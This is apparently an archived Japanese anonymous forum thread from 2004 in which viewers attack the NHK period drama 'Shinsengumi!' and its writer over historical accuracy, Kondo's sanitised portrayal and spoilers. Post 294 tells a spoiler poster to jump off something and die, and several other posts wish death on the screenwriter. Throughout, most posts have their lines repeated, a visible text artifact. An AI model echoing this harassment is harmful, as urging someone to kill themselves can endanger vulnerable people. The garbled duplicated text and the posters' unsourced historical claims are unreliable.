（飯田基祐）が現われ、ここで死んでも局長は喜ばないと説得され断念。
そして、”尽忠報国の士、あっぱれなり！”と、勇に最後の言葉をかけ駆け去
っていく。
処刑の瞬間、勇は何かをつぶやいたが、その答えは闇に消えた。近藤勇、
享年35歳。多摩から京へ、短くも激しいその生涯を閉じた。（完）
291 ：名無しさん＠お腹いっぱい。：04/10/30 00:22:39 ID:LlRlqm1i
子母澤寛のデタラメな新選組の話に、さらに三谷が
デタラメの上塗りをしたのが今回の大河ドラマだから。
永倉や原田なんかの、試衛館入門の話とか、
もうデタラメタラコで、笑っちゃうからね。山南にしてもそう。
みんな道場破りに失敗して、近藤に惚れこんで試衛館に
入ったんだからさ。で、みんなで酒を酌み交わしながら
「異人、うぜえな、ブッタ斬ろうぜ！！」で盛り上がってたのよ。
そこらへんを、平和ボケ的な、お子様ランチ風に仕上げた
時点で、完璧終わってるよ。ナニ、いい子ちゃんしてんの？って。
本気で、才能ない脚本家に、新選組を任したことが悔やまれてならない。
デタラメの上塗りをしたのが今回の大河ドラマだから。
永倉や原田なんかの、試衛館入門の話とか、
もうデタラメタラコで、笑っちゃうからね。山南にしてもそう。
みんな道場破りに失敗して、近藤に惚れこんで試衛館に
入ったんだからさ。で、みんなで酒を酌み交わしながら
「異人、うぜえな、ブッタ斬ろうぜ！！」で盛り上がってたのよ。
そこらへんを、平和ボケ的な、お子様ランチ風に仕上げた
時点で、完璧終わってるよ。ナニ、いい子ちゃんしてんの？って。
本気で、才能ない脚本家に、新選組を任したことが悔やまれてならない。
292 ：名無しさん＠お腹いっぱい。：04/10/30 00:24:18 ID:pWMETge1
293 ：名無しさん＠お腹いっぱい。：04/10/30 00:31:26 ID:0rNrfDd1
294 ：名無しさん＠お腹いっぱい。：04/10/30 00:37:19 ID:pWMETge1
>>293
お前のやった事は最低の行為だ。寸前に誰かがネタバレすんなと言っているのに。
わざとやるところが卑怯きわまりない。士道不覚悟どころではない。
お前こそ斬首されてしかるべきだ。最低野郎。
家族も（友人はいないだろうから省略）誰も悲しまないから、
早くどこかから飛び降りて死ね。糞が。
お前のやった事は最低の行為だ。寸前に誰かがネタバレすんなと言っているのに。
わざとやるところが卑怯きわまりない。士道不覚悟どころではない。
お前こそ斬首されてしかるべきだ。最低野郎。
家族も（友人はいないだろうから省略）誰も悲しまないから、
早くどこかから飛び降りて死ね。糞が。
295 ：名無しさん＠お腹いっぱい。：04/10/30 00:39:02 ID:0rNrfDd1
296 ：名無しさん＠お腹いっぱい。：04/10/30 00:42:48 ID:pWMETge1
本スレにまで貼りにいくなんて、新選組！ファンの怨恨を永遠に受けたぞお前は。
数万人の呪いが今年中に祟るからな。待っていろ。
数万人の呪いが今年中に祟るからな。待っていろ。
297 ：名無しさん＠お腹いっぱい。：04/10/30 00:47:48 ID:0rNrfDd1
298 ：名無しさん＠お腹いっぱい。：04/10/30 00:49:54 ID:Tq2npOHq
刑場に合図の太鼓が鳴り、三谷が堂々と進んで来る。目を合わせる三谷と香取 、
頷きあう2人。そして、ヤマコーが”三谷幸喜、よく戦いました”と声を上げる。
警固 のアンチが駆けつけるが、ヲタたちが口々に”三谷先生！ご苦労さん！”
と叫 び出し、成す術もなく立ち尽くす警固のアンチ。その時、刑場の裏手から堺が
・・・
こんな気分かな三谷はｗ
頷きあう2人。そして、ヤマコーが”三谷幸喜、よく戦いました”と声を上げる。
警固 のアンチが駆けつけるが、ヲタたちが口々に”三谷先生！ご苦労さん！”
と叫 び出し、成す術もなく立ち尽くす警固のアンチ。その時、刑場の裏手から堺が
・・・
こんな気分かな三谷はｗ
誰かです
俺は１文字たりとも
見たくないものは見ないで
スルーする技法を身につけているので
本当にねたばれかどうか分からんが
嫌がらせみたいなことはやめておきなさい
俺は１文字たりとも
見たくないものは見ないで
スルーする技法を身につけているので
本当にねたばれかどうか分からんが
嫌がらせみたいなことはやめておきなさい
300 ：名無しさん＠お腹いっぱい。：04/10/30 00:56:26 ID:Xuuow5FK
あいーん
301 ：名無しさん＠お腹いっぱい。：04/10/30 01:27:06 ID:U6CJ5V5s
長文ｽﾙｰする癖つけといてよかたｗ
302 ：名無しさん＠お腹いっぱい。：04/10/30 01:53:09 ID:XdvJYXNN
佐々木が竜馬の居所を知る場面に笑った
倒幕派の薩摩の情報を信じる佐々木？
佐々木に直接使いを送る薩摩？
普通、こういう場合はワンクッション置くよ
倒幕派の薩摩の情報を信じる佐々木？
佐々木に直接使いを送る薩摩？
普通、こういう場合はワンクッション置くよ
303 ：名無しさん＠お腹いっぱい。：04/10/30 02:58:43 ID:KIlum0h/
なんか古畑任三郎を見てる気分だ・・
せっかく維新ってデカイ題材貰ったのにこの程度の茶番劇で終わりかよ
もう書くことないわ。このドラマ、ひたすら脱力。。
せっかく維新ってデカイ題材貰ったのにこの程度の茶番劇で終わりかよ
もう書くことないわ。このドラマ、ひたすら脱力。。
304 ：名無しさん＠お腹いっぱい。：04/10/30 09:03:17 ID:qPcGqSu7
その週の平均より下の数字を取ってる限り
平均視聴率は下がっても上がることはないわけで
このペースならワースト４は確実かな
平均視聴率は下がっても上がることはないわけで
このペースならワースト４は確実かな
305 ：名無しさん＠お腹いっぱい。：04/10/30 10:50:45 ID:JYCGy5/h
伊東の暗殺は「部下が先走って」なのに、その後
待ち伏せて衛士に襲いかかるのはどうこじつけてるのか楽しみだわ。
待ち伏せて衛士に襲いかかるのはどうこじつけてるのか楽しみだわ。
306 ：名無しさん＠お腹いっぱい。：04/10/30 12:26:10 ID:knMUVO1y
ていうか御陵衛士の描写不足。
三谷氏ね
三谷氏ね
307 ：名無しさん＠お腹いっぱい。：04/10/30 13:03:48 ID:rhmdH8V8
不足どころか、まったく無いと言った方がいいな。 ＞御陵衛士の描写
308 ：名無しさん＠お腹いっぱい。：04/10/30 13:19:09 ID:S7rPVOs7
あいーん
309 ：名無しさん＠お腹いっぱい。：04/10/30 13:30:46 ID:mys5R3Uw
310 ：名無しさん＠お腹いっぱい。：04/10/30 13:33:52 ID:163MpxCK
捨助の鎖帷子如きで伏線言ってる奴がいるし、、
311 ：名無しさん＠お腹いっぱい。：04/10/30 13:42:17 ID:7I/c1gHh
312 ：名無しさん＠お腹いっぱい。：04/10/30 13:56:44 ID:agp01AL1
313 ：名無しさん＠お腹いっぱい。：04/10/30 14:10:09 ID:+hL8MzbQ
平助をメッタ斬りにした後、
皆で抱き合って泣くのかな
アホクサー
皆で抱き合って泣くのかな
アホクサー
314 ：名無しさん＠お腹いっぱい。：04/10/30 14:14:05 ID:knMUVO1y
予告見たら平助を後ろから刺そうとしてるヤシまた鍬次郎っぽいな
いい加減芯でくれ…
いい加減芯でくれ…
315 ：名無しさん＠お腹いっぱい。：04/10/30 15:13:46 ID:I5UwQb8z
>>305
鴨のときと同じで状況に流された挙句また「鬼」になるんじゃないの
鴨のときと同じで状況に流された挙句また「鬼」になるんじゃないの
316 ：名無しさん＠お腹いっぱい。：04/10/30 15:42:38 ID:I5UwQb8z
317 ：名無しさん＠お腹いっぱい。：04/10/30 15:43:08 ID:7m+xaFOx
イラクのキムタクはまだ生きてるようだ
318 ：名無しさん＠お腹いっぱい。：04/10/30 17:10:46 ID:uYvFnCYM
まぁ頑張ってよく考えたね、竜馬を斬る理由、守る理由。
そんだけ。 ＞前回
そんだけ。 ＞前回
319 ：名無しさん＠お腹いっぱい。：04/10/30 17:36:49 ID:WoYPbWEH
このドラマの永倉って人気あるみたいだけど、綺麗事ばっか言って何もしないな。
斎藤は汚れ役引き受けてる。山南は綺麗事だったが、政治に明るく解説役ができた。
こいつは、たまに土方に噛み付いて「手当てが平等じゃない」とかセコイ事で怒って
後は大義名分吐いて、でも竜馬が何故殺されるか政治状況、飲み込めないんじゃ使え
ないな。
斎藤は汚れ役引き受けてる。山南は綺麗事だったが、政治に明るく解説役ができた。
こいつは、たまに土方に噛み付いて「手当てが平等じゃない」とかセコイ事で怒って
後は大義名分吐いて、でも竜馬が何故殺されるか政治状況、飲み込めないんじゃ使え
ないな。
320 ：名無しさん＠お腹いっぱい。：04/10/30 17:44:30 ID:uYvFnCYM
321 ：名無しさん＠お腹いっぱい。：04/10/30 20:10:45 ID:nYS2dIA1
……というより、今まで永倉に光が当たったことなかったから。
322 ：名無しさん＠お腹いっぱい。：04/10/30 20:58:40 ID:BfXPByOt
42 本当にあった怖い名無し New! 04/10/17 18:42:48 ID:2ANpOONA
安静のコレラ大流行→いっぱい死んだり生きてる人もびびって家に引きこもる
→道場に誰も来なくなって近藤一派食い詰める→浪士隊にでも参加するか
→京都到着、清川と分かれる→新撰組結成
つまり今の大河はコレラのおかげ
安静のコレラ大流行→いっぱい死んだり生きてる人もびびって家に引きこもる
→道場に誰も来なくなって近藤一派食い詰める→浪士隊にでも参加するか
→京都到着、清川と分かれる→新撰組結成
つまり今の大河はコレラのおかげ
323 ：朝まで名無しさん：04/10/30 21:22:04 ID:ggVtGtVh
いわゆるコロリですな
ぎょふん
ぎょふん
324 ：名無しさん＠お腹いっぱい。：04/10/30 21:28:28 ID:cc8DxrKZ
>>322
そんなもんをマジで信じてるのか！？
そんなもんをマジで信じてるのか！？
325 ：名無しさん＠お腹いっぱい。：04/10/30 22:00:59 ID:HuknnEQO
でもコレラが流行したせいで門人が減って、
道場が立ちゆかなくなったタイミングで浪士隊募集があって、
ラッキー、みたいな流れは既存の小説でも時々あった。
まあ、どこまで本当か知らないけど、幕末を暑かったノンフィクションでも
そういう説を書いてるものも複数あるし。
道場が立ちゆかなくなったタイミングで浪士隊募集があって、
ラッキー、みたいな流れは既存の小説でも時々あった。
まあ、どこまで本当か知らないけど、幕末を暑かったノンフィクションでも
そういう説を書いてるものも複数あるし。
326 ：名無しさん＠お腹いっぱい。：04/10/31 01:48:52 ID:QUHi9Oah
>>320
まー、ここはアンチスレだかんなｗ。俺は仕事柄、いろんな職業の奴に会うが、
特に女の評判が総じていいよ。しょうがないよね、理解出来なくても。ヨン様の
何処がいいのか理解できないように、あまり理はないんだな、彼女達には多分ｗ。
まー、ここはアンチスレだかんなｗ。俺は仕事柄、いろんな職業の奴に会うが、
特に女の評判が総じていいよ。しょうがないよね、理解出来なくても。ヨン様の
何処がいいのか理解できないように、あまり理はないんだな、彼女達には多分ｗ。
327 ：名無しさん＠お腹いっぱい。：04/10/31 03:58:34 ID:5lqgpGNE
御陵衛士は「甲冑つけたまま死んだら後世臆病と笑われるからやめよう」って
常服のまま駆けつけるんだよな。甲冑つけて待ち伏せる新選組隊士40人の所に。
大河では新選組隊士が10人近くしかいないらしいがw
常服のまま駆けつけるんだよな。甲冑つけて待ち伏せる新選組隊士40人の所に。
大河では新選組隊士が10人近くしかいないらしいがw
328 ：名無しさん＠お腹いっぱい。：04/10/31 05:54:59 ID:1liH3Mv7
香田さんが亡くなったらしいが近藤の最期は放送できるのかな
329 ：名無しさん＠お腹いっぱい。：04/10/31 07:14:33 ID:i/mRwzCh
三谷は、登場人物をあれこれ取り上げ杉。
その上、登場人物に厨房向けアニメにありそうなキャラを
割り当てたから、料理を汚く喰い散らかした感じがする。
しかも描き方が中途半端だからどれも感情移入できるよう
なキャラじゃない。
その上、登場人物に厨房向けアニメにありそうなキャラを
割り当てたから、料理を汚く喰い散らかした感じがする。
しかも描き方が中途半端だからどれも感情移入できるよう
なキャラじゃない。
330 ：名無しさん＠お腹いっぱい。：04/10/31 07:33:14 ID:8KYbSg4a
331 ：名無しさん＠お腹いっぱい。：04/10/31 09:57:43 ID:PHwvkDBi
なんだかんだ理由つけても死体をさらすって言うのは卑劣だよなあ
>326
ぐっさんの人気が影響してるんじゃないの？
>326
ぐっさんの人気が影響してるんじゃないの？
332 ：名無しさん＠お腹いっぱい。：04/10/31 13:28:22 ID:0qko4Sbc
>>290
>ふでが”近藤勇、よく戦いました”と声を上げる。警固
>の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
>び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
>新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
>進む捨助、やがて力尽きる。
ほんとにこんな臭い筋なのか？
勝山の戦いは、かなりお粗末だったぞ。
あれで良く戦ったなんていえるわけねえじゃん。
三谷マジで逝ってよし。
>ふでが”近藤勇、よく戦いました”と声を上げる。警固
>の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
>び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
>新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
>進む捨助、やがて力尽きる。
ほんとにこんな臭い筋なのか？
勝山の戦いは、かなりお粗末だったぞ。
あれで良く戦ったなんていえるわけねえじゃん。
三谷マジで逝ってよし。
333 ：名無しさん＠お腹いっぱい。：04/10/31 15:43:47 ID:lB3OesgS
334 ：名無しさん＠お腹いっぱい。：04/10/31 17:17:06 ID:nDHp2jKe
>>328
そういや斬首だもんな
そういや斬首だもんな
335 ：名無しさん＠お腹いっぱい。：04/10/31 18:06:47 ID:i6RXgkXE
放送延期すればよさげ
次回はそれを受けて
そんなすごいのかと
視聴率アップ
次回はそれを受けて
そんなすごいのかと
視聴率アップ
336 ：名無しさん＠お腹いっぱい。：04/10/31 19:00:17 ID:yVc+k6NH
ＢＳｈｉ見た
３３３が神
３３３が神
337 ：名無しさん＠お腹いっぱい。：04/10/31 19:31:55 ID:kjiT6WSr
338 ：名無しさん＠お腹いっぱい。：04/10/31 19:58:42 ID:bJMcok3U
年末最終回でクビチョンパーって、
今年の重大ニュースのしめくくり。
今年の重大ニュースのしめくくり。
339 ：名無しさん＠お腹いっぱい。：04/10/31 20:14:35 ID:D+zTK7+1
相変わらず殺陣ショボ杉
340 ：名無しさん＠お腹いっぱい。：04/10/31 20:20:40 ID:HB1qZRIa
今までのキャラや物語と整合性を取ろうとして
どんどん支離滅裂になっていくな。
どんどん支離滅裂になっていくな。
341 ：名無しさん＠お腹いっぱい。：04/10/31 20:24:30 ID:DWtvm2TH
>>326
婦女子もそんなものだろうね。
婦女子もそんなものだろうね。
342 ： ：04/10/31 20:31:03 ID:e/2D7srW
鍬次郎が槍持ってるんだけど・・・
343 ：名無しさん＠お腹いっぱい。：04/10/31 20:31:43 ID:Ib2fx3Yn
あのやろう・・・ゆるせんな
344 ：名無しさん＠お腹いっぱい。：04/10/31 20:32:55 ID:8mUxJG0t
鍬次郎殺りすぎw
345 ： ：04/10/31 20:35:43 ID:e/2D7srW
何でもかんでも、誰かに責任をなすり付けてるなぁ・・・
346 ： ：04/10/31 20:42:28 ID:e/2D7srW
346 公共放送名無しさん New! 04/10/31 20:38:21 ID:TFdAV8+q
常に自分で動かない近藤。
そして悔やむだけ。
能無しじゃんか、これじゃ近藤は。
常に自分で動かない近藤。
そして悔やむだけ。
能無しじゃんか、これじゃ近藤は。
347 ：名無しさん＠お腹いっぱい。：04/10/31 20:42:57 ID:g/u3xa3j
もう1時間が長くて長くて…あ～あ、近藤さんってホントいつも犠牲者なんだね。
348 ：名無しさん＠お腹いっぱい。：04/10/31 20:44:36 ID:HB1qZRIa
|￣￣￣￣￣￣￣￣|
| 美化 しすぎ！ ｜
|＿＿＿＿＿＿＿＿|
∩＿∩ ||
(,, ･(ｪ)･)|| ＜愚か者めっ！
～（. っﾞ Φ
349 ：名無しさん＠お腹いっぱい。：04/10/31 20:46:17 ID:F0bVVmTq
天満屋事件はスルー確定？
350 ：名無しさん＠お腹いっぱい。：04/10/31 20:49:12 ID:ENVyZop1
ネタバレ情報に憤っても
実況OKの板にあるこのスレで実況もどきのコメント書いても
悪いことはないかもしれんが、
放送後に激しくツッコむ気力が殺がれるんじゃないか？
実況OKの板にあるこのスレで実況もどきのコメント書いても
悪いことはないかもしれんが、
放送後に激しくツッコむ気力が殺がれるんじゃないか？
351 ：名無しさん＠お腹いっぱい。：04/10/31 20:50:43 ID:5lqgpGNE
罠を仕込みながら会いたいと誘った伊東と
危険だと感じながらも会った近藤。史実とまるで逆だな。
危険だと感じながらも会った近藤。史実とまるで逆だな。
352 ：名無しさん＠お腹いっぱい。：04/10/31 20:53:38 ID:5LRmNCQ2
随分ぬるい油小路だった…。
勘太郎はよかったが。
悪い事は全部鍬次郎かよ！
勘太郎はよかったが。
悪い事は全部鍬次郎かよ！
353 ：名無しさん＠お腹いっぱい。：04/10/31 20:55:47 ID:FjtfOZVK
悪いのは薩摩だってさ
竜馬暗殺は西郷
油小路は大久保が黒幕か
鹿児島県人にはたまらんだろうなあ
新選組でこんなに悪者にされるとは
竜馬暗殺は西郷
油小路は大久保が黒幕か
鹿児島県人にはたまらんだろうなあ
新選組でこんなに悪者にされるとは
354 ：名無しさん＠お腹いっぱい。：04/10/31 20:56:57 ID:jh44Pzr0
鉄の結束、規律の新撰組なんでしょ。近藤→甲子太郎暗殺命令→暗殺。でいいよな。
まして、伊東も近藤殺そう、と思ってたんだし。
またいつもの手で、主役級は殺したくないのに・・ウジウジ・・んでも結局は、
殺す(史実だからあたりまいだｗ)。なんか、このプロセスがキモい。
まして、伊東も近藤殺そう、と思ってたんだし。
またいつもの手で、主役級は殺したくないのに・・ウジウジ・・んでも結局は、
殺す(史実だからあたりまいだｗ)。なんか、このプロセスがキモい。
355 ：名無しさん＠お腹いっぱい。：04/10/31 20:57:02 ID:JFsiPc2y
356 ：虚無僧：04/10/31 20:59:17 ID:GUZvUaSk
またわしがレスしたくなるような内容だったのう。伊東が暗殺にきたが、
近藤がふところの大きさを見せ、伊東を思いとどませる。なかなかかっこいい
設定だわな。が、その後、新撰組の若手達が勝手に、伊東を襲撃し死に追いやる、
これは、一体どういう事だ、三谷くん。
新撰組って、そんな甘い集団だったのか。近藤の指令なしにそんな事を勝手していいのかね。
これが許されるなら、勝手に飛び出した、山南も連れ戻そうとしなくてもいいのでは。
今回、近藤は伊東は殺したくないが、迷った上に殺害指令を出す、そんなところが見たかったな。
近藤がふところの大きさを見せ、伊東を思いとどませる。なかなかかっこいい
設定だわな。が、その後、新撰組の若手達が勝手に、伊東を襲撃し死に追いやる、
これは、一体どういう事だ、三谷くん。
新撰組って、そんな甘い集団だったのか。近藤の指令なしにそんな事を勝手していいのかね。
これが許されるなら、勝手に飛び出した、山南も連れ戻そうとしなくてもいいのでは。
今回、近藤は伊東は殺したくないが、迷った上に殺害指令を出す、そんなところが見たかったな。
357 ：名無しさん＠お腹いっぱい。：04/10/31 21:06:35 ID:6nDvk6oa
史実とか下母澤とか知らなかったら
今回の話は楽しめてた様な気がするな…
今回の話は楽しめてた様な気がするな…
358 ：名無しさん＠お腹いっぱい。：04/10/31 21:08:30 ID:DWtvm2TH
359 ：名無しさん＠お腹いっぱい。：04/10/31 21:10:09 ID:ENVyZop1
武士身分にこだわりぬいて直参になったときには小躍りして喜んだ近藤が
「身分にとらわれない社会をつくりたい」ですか。
それでまさしく身分にとらわれない軍事組織をつくり、
その後新政権下で身分制度を解体した薩長の世の中は
「一部の人だけが利益を得たいがための社会」ですか。
現代人が今の目線で薩長や維新政府を批判するのは許されるとして、
同時代で近藤のような立場の人間にそういうことを言わせるもんじゃないよなぁ。
「身分にとらわれない社会をつくりたい」ですか。
それでまさしく身分にとらわれない軍事組織をつくり、
その後新政権下で身分制度を解体した薩長の世の中は
「一部の人だけが利益を得たいがための社会」ですか。
現代人が今の目線で薩長や維新政府を批判するのは許されるとして、
同時代で近藤のような立場の人間にそういうことを言わせるもんじゃないよなぁ。
360 ：虚無僧：04/10/31 21:11:52 ID:McWTO2P6
史実から言えば、薩長は私利私欲、維新後、人の上にいきたいから、倒幕を
考えてたんじゃないよ。大久保利通の死後、彼に多額の借金があることが分かった。
借金はすべて、政治に使うためだったらしい。現代の政治家と違い、わいろや献金で
政治活動していたのではなく、大久保はこれだけみても、日本を良くしようと思って
一種、ボランティアのつもりでやっていたのが、分かる。そして、昔の政治家はそういう
人が多かったのだ。
考えてたんじゃないよ。大久保利通の死後、彼に多額の借金があることが分かった。
借金はすべて、政治に使うためだったらしい。現代の政治家と違い、わいろや献金で
政治活動していたのではなく、大久保はこれだけみても、日本を良くしようと思って
一種、ボランティアのつもりでやっていたのが、分かる。そして、昔の政治家はそういう
人が多かったのだ。
361 ：名無しさん＠お腹いっぱい。：04/10/31 21:12:02 ID:NjVAL1lN
＞罠を仕込みながら会いたいと誘った伊東と
＞危険だと感じながらも会った近藤。史実とまるで逆だな。
うん。
伊東等御陵衛士たちを汚いやり方で殺したとこちゃんと書いて欲しかった。
近藤たちの策で、伊東に酒呑ませて、丸腰で酔ったところを帰り道襲ったことや、
数人の御陵衛士を四十人がかりで惨殺したこと。
こんな生ぬるい新撰組、みてられん…
＞危険だと感じながらも会った近藤。史実とまるで逆だな。
うん。
伊東等御陵衛士たちを汚いやり方で殺したとこちゃんと書いて欲しかった。
近藤たちの策で、伊東に酒呑ませて、丸腰で酔ったところを帰り道襲ったことや、
数人の御陵衛士を四十人がかりで惨殺したこと。
こんな生ぬるい新撰組、みてられん…
362 ：名無しさん＠お腹いっぱい。：04/10/31 21:12:22 ID:w2VW3ck3
近藤の一貫性の無さにはとんと呆れる
伊東とは和解するくせに（←これもとんでもないが）
御陵衛士と斬り合うのは避けようとしないのか
三谷さん、視聴者を誤魔化そうとするのはいい加減にしてくださいよ
策で人は動かないんだから
伊東とは和解するくせに（←これもとんでもないが）
御陵衛士と斬り合うのは避けようとしないのか
三谷さん、視聴者を誤魔化そうとするのはいい加減にしてくださいよ
策で人は動かないんだから
363 ：名無しさん＠お腹いっぱい。：04/10/31 21:13:39 ID:tIYUHnlU
364 ：名無しさん＠お腹いっぱい。：04/10/31 21:13:56 ID:AgIOnXru
近藤は危険を承知で「命をかけて」伊東に会ったのに
いざ伊東が死んだとなると死体を放置して残り全員皆殺しには
あっさり同意してんのか。
ついさっき「いつか手を取り合うこともあるでしょう」と言った奴が
次の瞬間には「いつか決着をつけなくちゃならなかったんだ」
に何の反論もない不思議。
伊東が死んだらあとはどーでもいいのか？
一体どういうキャラなんだよ。
あと、油小路の新選組エキストラ少なすぎで
平隊士が平助に斬りつけるのが不自然。
せいぜい10人くらいしかいないじゃん。
あれしか出動しないなら全員に「平助は殺すな」と言い含めておけよ。
ぐっさんと勘太郎は良かったけど。
あといちおう暗殺なんだから隊服着てくるなと（ry
いざ伊東が死んだとなると死体を放置して残り全員皆殺しには
あっさり同意してんのか。
ついさっき「いつか手を取り合うこともあるでしょう」と言った奴が
次の瞬間には「いつか決着をつけなくちゃならなかったんだ」
に何の反論もない不思議。
伊東が死んだらあとはどーでもいいのか？
一体どういうキャラなんだよ。
あと、油小路の新選組エキストラ少なすぎで
平隊士が平助に斬りつけるのが不自然。
せいぜい10人くらいしかいないじゃん。
あれしか出動しないなら全員に「平助は殺すな」と言い含めておけよ。
ぐっさんと勘太郎は良かったけど。
あといちおう暗殺なんだから隊服着てくるなと（ry
365 ：名無しさん＠お腹いっぱい。：04/10/31 21:16:25 ID:H2/TmLM8
366 ：名無しさん＠お腹いっぱい。：04/10/31 21:19:31 ID:4WIxXd80
>>356
＞新撰組の若手達が勝手に、伊東を襲撃し死に追いやる
これは近藤にしてみれば、自分側の手落ちで伊藤を死なせてしまったと思うところだろうに
その後の土方の御陵衛士殲滅作戦にＮＯを出さなかったのは何故？
伊藤が殺されたときに「もうこんな事は懲り懲りだ!!」というのが
いままでの近藤さんではなかったか？
伊藤が負けを認めたところまでは、その是非はともかく上手い具合に「美化」されていた
とは思うけどね。
＞新撰組の若手達が勝手に、伊東を襲撃し死に追いやる
これは近藤にしてみれば、自分側の手落ちで伊藤を死なせてしまったと思うところだろうに
その後の土方の御陵衛士殲滅作戦にＮＯを出さなかったのは何故？
伊藤が殺されたときに「もうこんな事は懲り懲りだ!!」というのが
いままでの近藤さんではなかったか？
伊藤が負けを認めたところまでは、その是非はともかく上手い具合に「美化」されていた
とは思うけどね。
367 ：名無しさん＠お腹いっぱい。：04/10/31 21:19:40 ID:wdukuRiK
あの時代の殺伐とした雰囲気をもっと描いてほしいね。
平助の亡き骸に群がって号泣していたら後ろから斬られてｱﾎﾞｰﾝじゃないか（w
平助の亡き骸に群がって号泣していたら後ろから斬られてｱﾎﾞｰﾝじゃないか（w
368 ：名無しさん＠お腹いっぱい。：04/10/31 21:20:12 ID:ENVyZop1
369 ：名無しさん＠お腹いっぱい。：04/10/31 21:20:59 ID:rtxrWrok
>>357
やっぱそうだよな。
今回の新選組は手垢のついてない新選組に興味を持った人向け。
そうでなきゃここまで近藤を善人に描く意図がわからない。
あと大久保利通役の人の台詞を標準語に直して欲しかった。
向こうの言葉で喋ってるとこっちで脳内補完するから。
緊張感なくなる。
やっぱそうだよな。
今回の新選組は手垢のついてない新選組に興味を持った人向け。
そうでなきゃここまで近藤を善人に描く意図がわからない。
あと大久保利通役の人の台詞を標準語に直して欲しかった。
向こうの言葉で喋ってるとこっちで脳内補完するから。
緊張感なくなる。
370 ：名無しさん＠お腹いっぱい。：04/10/31 21:29:28 ID:kjiT6WSr
371 ：名無しさん＠お腹いっぱい。：04/10/31 21:31:09 ID:lH4zbHTw
何をしたかったよくわからない香Daさんと近藤さん、ともに斬首。
なんだかかぶっちゃうんだよね。
なんだかかぶっちゃうんだよね。
372 ：名無しさん＠お腹いっぱい：04/10/31 21:32:20 ID:A1lfv84I
あー。また近藤美化ですか、そうですか。
歴史本を読んでて知ってたらいらいらするね。
本当は近藤が伊東を呼び出し。
「危ないですよ～。罠ですよ～」と言った門人に、
「近藤さんはそんな人ではない」と伊東が言って出かけたんでしょ。
そんで酔っ払わせてあぼん。
鍬次郎がやった説が濃厚らしいけど、
この大河では勝手に暴走した結果ですか、そうですか。
これから新選組がやった悪いことの処理は土方鍬次郎コンビが引き受けてくれるんだね。
勘太郎と香取は案外よかったけどね。
歴史本を読んでて知ってたらいらいらするね。
本当は近藤が伊東を呼び出し。
「危ないですよ～。罠ですよ～」と言った門人に、
「近藤さんはそんな人ではない」と伊東が言って出かけたんでしょ。
そんで酔っ払わせてあぼん。
鍬次郎がやった説が濃厚らしいけど、
この大河では勝手に暴走した結果ですか、そうですか。
これから新選組がやった悪いことの処理は土方鍬次郎コンビが引き受けてくれるんだね。
勘太郎と香取は案外よかったけどね。
373 ：名無しさん＠お腹いっぱい。：04/10/31 21:32:56 ID:AgIOnXru
>>361
今回の油小路はまるで五分五分の勝負みたいだったもんな。
今回の大河で油小路を知った視聴者は
まさか実際は約40人対7人の嬲り殺しだったとは思うまい。
なにしろ御陵衛士が「退けーっ」とか言って退いてるし。
んなこと言う暇もないくらい圧倒的な戦力差だったのに。
まあ新選組はそれでも4人取り逃がしてるんだけど。
>>366
>伊藤が負けを認めたところまでは、その是非はともかく上手い具合に「美化」されていた
そうねぇ。
でもああいう展開にしてしまったら
どうやってもその後の史実との整合性は取りにくくなるわな。
考えられる案としては、またまた土方の独断にするって手もあるけど
さすがに三谷もそれはいかんと思ったのだろう。
せめて近藤が伊東を罠にかけるために呼び出した、という部分はそのままにしておけば
伊東の死→仕方ない、御陵衛士と全面対決、という近藤の思考にも
まだ説得力が出たか？
今回の油小路はまるで五分五分の勝負みたいだったもんな。
今回の大河で油小路を知った視聴者は
まさか実際は約40人対7人の嬲り殺しだったとは思うまい。
なにしろ御陵衛士が「退けーっ」とか言って退いてるし。
んなこと言う暇もないくらい圧倒的な戦力差だったのに。
まあ新選組はそれでも4人取り逃がしてるんだけど。
>>366
>伊藤が負けを認めたところまでは、その是非はともかく上手い具合に「美化」されていた
そうねぇ。
でもああいう展開にしてしまったら
どうやってもその後の史実との整合性は取りにくくなるわな。
考えられる案としては、またまた土方の独断にするって手もあるけど
さすがに三谷もそれはいかんと思ったのだろう。
せめて近藤が伊東を罠にかけるために呼び出した、という部分はそのままにしておけば
伊東の死→仕方ない、御陵衛士と全面対決、という近藤の思考にも
まだ説得力が出たか？
374 ：名無しさん＠お腹いっぱい。：04/10/31 21:32:59 ID:bxotwW0Y
ちょっと避難所として使わせてもらいますよ
375 ：名無しさん＠お腹いっぱい。：04/10/31 21:33:50 ID:/diG44xM
主要人物、後ろから斬られるの多すぎ
今回の二人とか武田とか
ワンパターンです
今回の二人とか武田とか
ワンパターンです
376 ：名無しさん＠お腹いっぱい。：04/10/31 21:35:10 ID:lB3OesgS
せめて伊東をべろんべろんに酔わせてほしかった。
あんな棒読みかつ軟弱な大石鍬次郎に、しらふで殺されるなんて･ﾟ･（ﾉД`）･ﾟ･
あんな棒読みかつ軟弱な大石鍬次郎に、しらふで殺されるなんて･ﾟ･（ﾉД`）･ﾟ･
377 ：名無しさん＠お腹いっぱい。：04/10/31 21:35:11 ID:4EBOEeVx
百歩譲って、近藤も薩長も私利私欲だったとする。同じ私利私欲なら、天皇を頂点
とする薩長閥近代国家の方がマシ。
近藤君が言う「身分を問われない国」は、徳川第一の封建体制側を応援してたら
いつまで経っても来ない。ましてこないだ、武士になれた事を喜んでた人が～。
もちろん脚本家のせいだが、もう意味不明。
とする薩長閥近代国家の方がマシ。
近藤君が言う「身分を問われない国」は、徳川第一の封建体制側を応援してたら
いつまで経っても来ない。ましてこないだ、武士になれた事を喜んでた人が～。
もちろん脚本家のせいだが、もう意味不明。
378 ：虚無僧：04/10/31 21:35:27 ID:NsjZBiQq
主人公美化は、大河では当たり前だが、ヒールイメージの新選組の近藤を
ここまでにしてしまうとなあ。偽善ダルマって、あだ名つけたくなるよ。
ダルマみたいに、いつも座ってて知らないうちに・・・
ちなみに、三国志と言えば中国だが、今では劉備より曹操の方が好きだ、という
人が多いらしい。「劉備は偽善者だから嫌い。曹操の方が自分の気持ちに正直だから
いい」という声が多い。あれも無理に劉備を聖人君子にしたてあげた話だが。
ここまでにしてしまうとなあ。偽善ダルマって、あだ名つけたくなるよ。
ダルマみたいに、いつも座ってて知らないうちに・・・
